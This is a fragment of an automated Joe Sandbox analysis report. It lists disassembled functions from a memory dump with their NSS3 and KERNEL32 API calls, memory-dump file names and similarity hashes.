Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDDB

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDEC

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C62BE03

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62BE3B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 688085e03d26fc61e0a26b1c6ba54a06508803dfbda23ac33ac2421e8acace33
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 9701FE65B4121176F71012667C01FA7654CCFD27CDF140030FF1696B82FB59E51A86BE

Function 6C680FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B
TlsGetValue.KERNEL32(00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681044
free.MOZGLUE(00000000,?,00000800,6C61EF74,00000000), ref: 6C681064

Strings

security, xrefs: 6C681025

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction ID: 0ad40f94b6c2a2b40ccb5a592c3a7072dd29388837b5d4c928dd49ca28600ad0
Opcode Fuzzy Hash: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction Fuzzy Hash: A7014470A422549BEB212F2C9C04B963A68BF0778AF010536E92896A61EF60C154DBF9

Function 6C6B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B1C74

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6B1C92
free.MOZGLUE(?), ref: 6C6B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6B1CCB
free.MOZGLUE(?), ref: 6C6B1CD2

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction ID: a8f6493c12233244ba2db9976f3e1fb1e0556a5c39fad3cf77bba7dde1b65e6b
Opcode Fuzzy Hash: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction Fuzzy Hash: E901B9B1F066246FDF11AFA49D0D74577B4AB0B71BF200135EA0AB2B40D739A115C79A

Function 6C6C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C3046

Part of subcall function 6C6AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C697FFB), ref: 6C6C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C2E8B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C6AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C699BFF,?,00000000,00000000), ref: 6C6AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C697FFA), ref: 6C6C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C317B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction ID: b17ec9d1520dff68826557902f4af7afd8fce9b9affcf7130c106abd9fd89f21
Opcode Fuzzy Hash: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction Fuzzy Hash: C0A1AE71A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967781E731AD85CFA6

Function 6C68ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C68ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C68EDCE

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

free.MOZGLUE(00000000,?,?,?,?,6C68B04F), ref: 6C68EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C68EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C68EEFB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction ID: 7fd4916c62e3978b06d99fe4d4106a8228c06c6f84e74e4cb4adaab6427b1695
Opcode Fuzzy Hash: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction Fuzzy Hash: 3D819DB9A022059FEB10CF55CC84BAB77F5BF89308F144428E9259BB51DB30E805CBB9

Function 6C68CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

PR_Now.NSS3 ref: 6C68CD35

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

Part of subcall function 6C676C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

PR_GetCurrentThread.NSS3 ref: 6C68CD54

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Part of subcall function 6C677260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621CCC,00000000,00000000,?,?), ref: 6C67729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C68CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C68CE2C

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C68CE40

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

Part of subcall function 6C68CEE0: PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC
Part of subcall function 6C68CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction ID: f625918c0efc58c2b3c9c5a3adee8dc4a2bbfa31ccb5f31ca807e0658c0daab1
Opcode Fuzzy Hash: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction Fuzzy Hash: 1E51E9B6A02104AFE710DF69DC44BDA77F4EF49348F250624E916A7740EB31E905CBB9

Function 6C69FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C69FFE5

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A0004
PR_EnterMonitor.NSS3(?), ref: 6C6A001B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction ID: c5b1677218e732e0f199a6f85de4e0cfae9fd2aef46a3cd948c02fdece431440
Opcode Fuzzy Hash: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction Fuzzy Hash: 874127756486808BE7204AE9DC517EB72A1DF4234CF10053DD44BCAE90E7B9AD5BCA4E

Function 6C65EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C65EF38

Part of subcall function 6C649520: PK11_IsLoggedIn.NSS3(00000000,?,6C67379E,?,00000001,?), ref: 6C649542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C65EF53

Part of subcall function 6C664C20: TlsGetValue.KERNEL32 ref: 6C664C4C
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?), ref: 6C664C60
Part of subcall function 6C664C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
Part of subcall function 6C664C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
Part of subcall function 6C664C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A

PR_GetCurrentThread.NSS3 ref: 6C65EF9E

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

free.MOZGLUE(00000000), ref: 6C65EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C65F016
free.MOZGLUE(00000000), ref: 6C65F022

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction ID: 96d7f4384856830ecf6f78c6220cf3362af33e45140e6ba6ceb82f5a8574bb3b
Opcode Fuzzy Hash: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction Fuzzy Hash: 8441A471E00109ABDF018FA9DC54BEF7BB9AF49348F544025F904A7350EB72C9258BA9

Function 6C64CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C64CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C64D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C64D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64D025
PR_NewLock.NSS3 ref: 6C64D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64D074

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction ID: e3bc9a255b42e9042eb5016fd650d4c6d96136ce706c5867bf502501975fc9ff
Opcode Fuzzy Hash: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction Fuzzy Hash: 1241F4B0E013119FDB10DF29C88079ABBE4EF09719F10C16ADC198BB42E774D489CBA9

Function 6C693FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C693FF2

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C694001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C69400F

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C694054

Part of subcall function 6C62BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C62BC24
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BC39
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C62BC58
Part of subcall function 6C62BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C62BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C694070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6940CD

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 99c3fada542243585f14870de859595838f314e073677e856cc74e25236b659b
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B0310A71E0034697EB008F649C81BBB3364AF9570CF144225ED199B746FB72E958C7AA

Function 6C632E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C622D1A), ref: 6C632E7E

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

PR_Now.NSS3 ref: 6C632EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C632EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C622D1A), ref: 6C632F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C622D1A), ref: 6C632F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C632F81

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 15993e4f5fec505f7eb9b4c1b446020056928422903f2fc7870bf012302d87fb
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 653145715421248BF710C614DC48BEE7365EF81318F24797DD11E97AD2EB30984ACAAE

Function 6C620E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C620A2C), ref: 6C620E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C620A2C), ref: 6C620E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C620A2C), ref: 6C620E85
